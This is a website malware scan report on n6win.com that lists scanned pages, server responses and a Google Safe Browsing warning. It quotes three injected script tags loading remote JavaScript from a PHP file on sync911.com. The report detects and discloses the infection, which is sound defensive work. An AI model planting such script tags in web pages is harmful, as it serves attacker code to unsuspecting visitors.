Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=n6win.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://n6win.com/ | 200 OK Content-Length: 51370 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://sync911.com/wp-content/yOVrdtJK.php?id=55775674" type="text/javascript"></script> | ||
http://n6win.com/index_files/sccc.htm | 200 OK Content-Length: 51904 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://sync911.com/wp-content/yOVrdtJK.php?id=55775700" type="text/javascript"></script> | ||
http://n6win.com/index_files/SCCCRosterbyARRLSection.htm | 200 OK Content-Length: 196410 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://sync911.com/wp-content/yOVrdtJK.php?id=55775692" type="text/javascript"></script> | ||
http://n6win.com/test404page.js | HTTP/1.1 302 Found Connection: close Date: Tue, 01 Apr 2014 00:02:16 GMT Location: http://billing.qth.com/404.php Server: Apache Content-Length: 214 Content-Type: text/html; charset=iso-8859-1 | clean |
http://billing.qth.com/404.php | 200 OK Content-Length: 9613 Content-Type: text/html | clean |
http://billing.qth.com/js/common/moocheck.js | 200 OK Content-Length: 5590 Content-Type: application/javascript | clean |
http://billing.qth.com/js/common/moomore.js | 200 OK Content-Length: 136227 Content-Type: application/javascript | clean |
http://billing.qth.com/js/common/functions.js | 200 OK Content-Length: 10781 Content-Type: application/javascript | clean |
http://billing.qth.com/js/common/SpryCollapsiblePanel.js | 200 OK Content-Length: 8622 Content-Type: application/javascript | clean |
http://billing.qth.com/js/common/formcheck.php | 200 OK Content-Length: 21885 Content-Type: text/html | clean |
http://billing.qth.com/test404page.js | HTTP/1.1 302 Found Connection: close Date: Tue, 01 Apr 2014 00:02:21 GMT Location: http://billing.qth.com/404.php Server: Apache Vary: Accept-Encoding Content-Length: 214 Content-Type: text/html; charset=iso-8859-1 | clean |
http://swap.qth.com/banner_remote.asp | 200 OK Content-Length: 1135 Content-Type: text/html | clean |
http://pagead2.googlesyndication.com/pagead/show_ads.js | 200 OK Content-Length: 21769 Content-Type: text/javascript | clean |
http://swap.qth.com/srennab/www/delivery/ag.php | 200 OK Content-Length: 3295 Content-Type: application/x-javascript | clean |
http://swap.qth.com/view_all_srennab.php | 200 OK Content-Length: 123828 Content-Type: text/html | clean |
http://swap.qth.com/srennab/www/delivery/fl.js | 200 OK Content-Length: 6707 Content-Type: application/javascript | clean |
http://swap.qth.com/index.php | 200 OK Content-Length: 14248 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: n6win.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 01 Apr 2014 00:02:14 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 51370
Content-Type: text/html
Last-Modified: Tue, 26 Nov 2013 23:57:32 GMT
...51370 bytes of data.
GET / HTTP/1.1
Host: n6win.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 01 Apr 2014 00:02:14 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 51370
Content-Type: text/html
Last-Modified: Tue, 26 Nov 2013 23:57:32 GMT
...51370 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: n6win.com
Referer: http://www.google.com/search?q=n6win.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: n6win.com
Referer: http://www.google.com/search?q=n6win.com
Result:
The result is similar to the first query. There are no suspicious redirects found.